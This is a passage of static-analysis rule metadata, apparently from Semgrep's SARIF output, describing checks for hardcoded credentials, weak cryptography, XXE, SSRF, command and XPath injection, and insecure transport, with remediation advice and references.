(HSM)."},"helpUri":"https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","id":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","name":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.pycryptodome.org/src/hash/ripemd160](https://www.pycryptodome.org/src/hash/ripemd160)\n - [https://www.pycryptodome.org/src/hash/sha1](https://www.pycryptodome.org/src/hash/sha1)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n","text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","id":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","name":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits"},"help":{"markdown":"RSA keys should be at least 2048 bits\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","id":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","name":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","id":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","name":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request)\n - [https://hc.apache.org/httpcomponents-client-ga/quickstart.html](https://hc.apache.org/httpcomponents-client-ga/quickstart.html)\n","text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","id":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","name":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection","id":"php.lang.security.tainted-command-injection.tainted-command-injection","name":"php.lang.security.tainted-command-injection.tainted-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-command-injection.tainted-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"help":{"markdown":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count)\n","text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count","id":"python.sqlalchemy.performance.performance-improvements.len-all-count","name":"python.sqlalchemy.performance.performance-improvements.len-all-count","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.len-all-count"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe","id":"kotlin.xxe.saxreader-xxe.saxreader-xxe","name":"kotlin.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection)\n - [https://phantomjs.org/page-automation.html](https://phantomjs.org/page-automation.html)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection","id":"javascript.express.security.express-phantom-injection.express-phantom-injection","name":"javascript.express.security.express-phantom-injection.express-phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-phantom-injection.express-phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1)\n","text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request)\n - [https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-](https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-)\n","text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","id":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","name":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"help":{"markdown":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","id":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","name":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1)\n","text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: 